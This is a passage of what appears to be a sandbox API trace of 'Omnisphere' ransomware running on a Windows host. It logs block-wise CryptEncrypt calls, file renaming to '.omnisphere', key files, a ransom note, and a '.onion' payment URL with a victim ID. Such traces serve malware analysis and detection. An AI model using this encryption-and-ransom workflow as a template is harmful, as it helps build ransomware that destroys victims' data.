pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.437] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.437] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.437] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.438] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.438] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.438] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.438] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.438] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.438] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.438] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.438] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.438] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.438] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.438] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.438] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.438] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.438] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.438] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.438] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.438] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.438] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.438] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.439] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.439] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.439] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.439] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.439] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.439] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.439] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.439] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.439] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.439] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.439] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.439] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.439] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.439] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.439] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.439] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.439] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.439] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.439] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.439] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.440] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.440] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.440] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.440] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.440] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.440] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.440] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.440] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.440] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.440] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.440] CryptDestroyKey (hKey=0x16394e8) returned 1 [0120.440] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0120.440] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x48a, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0120.440] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0120.440] GetProcessHeap () returned 0x1600000 [0120.440] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2bc) returned 0x16cc518 [0120.441] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IGalVIojl3yxMqu5f.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\igalviojl3yxmqu5f.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IGalVIojl3yxMqu5f.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\igalviojl3yxmqu5f.lnk.omnisphere")) returned 1 [0126.192] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IGalVIojl3yxMqu5f.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IGalVIojl3yxMqu5f.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IGalVIojl3yxMqu5f.lnk.omnisphere.id" [0126.192] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IGalVIojl3yxMqu5f.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\igalviojl3yxmqu5f.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.194] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.196] CloseHandle (hObject=0x3c0) returned 1 [0126.196] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.196] CloseHandle (hObject=0x288) returned 1 [0126.196] SetEndOfFile (hFile=0x28c) returned 1 [0126.197] FlushFileBuffers (hFile=0x28c) returned 1 [0126.200] CloseHandle (hObject=0x28c) returned 1 [0126.200] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IGalVIojl3yxMqu5f.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.200] GetProcessHeap () returned 0x1600000 [0126.200] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16cd020 [0126.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.200] GetProcessHeap () returned 0x1600000 [0126.200] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1f00 [0126.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1f00, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.201] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.201] GetProcessHeap () returned 0x1600000 [0126.201] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b0048 [0126.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b0048, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.201] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.201] GetProcessHeap () returned 0x1600000 [0126.201] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bed40 [0126.201] PathCombineW (in: pszDest=0x16bed40, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.201] GetProcessHeap () returned 0x1600000 [0126.201] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c1600 [0126.201] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.202] WriteFile (in: hFile=0x28c, lpBuffer=0x16c1600*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c1600*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.202] CloseHandle (hObject=0x28c) returned 1 [0126.202] GetProcessHeap () returned 0x1600000 [0126.202] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16cd020 | out: hHeap=0x1600000) returned 1 [0126.202] GetProcessHeap () returned 0x1600000 [0126.202] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.202] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.202] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.202] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.203] CloseHandle (hObject=0x28c) returned 1 [0126.203] GetProcessHeap () returned 0x1600000 [0126.203] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.203] GetProcessHeap () returned 0x1600000 [0126.203] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16bff38 | out: hHeap=0x1600000) returned 1 [0126.203] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20276e57, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20276e57, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20276e57, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0xd3, cFileName="iIHMV.lnk", cAlternateFileName="")) returned 1 [0126.203] GetProcessHeap () returned 0x1600000 [0126.203] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x94) returned 0x167b628 [0126.203] PathCombineW (in: pszDest=0x167b628, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="iIHMV.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iIHMV.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iIHMV.lnk" [0126.203] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.203] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iIHMV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\iihmv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.203] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=925) returned 1 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.204] GetTickCount () returned 0x115f7f9 [0126.205] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16681b8) returned 1 [0126.207] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0126.207] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.207] CryptDestroyKey (hKey=0x1639868) returned 1 [0126.207] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0126.207] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x39d, lpName=0x0) returned 0x288 [0126.207] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x39d) returned 0x1480000 [0126.208] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16683d8) returned 1 [0126.208] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16396e8) returned 1 [0126.208] CryptSetKeyParam (hKey=0x16396e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.209] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, 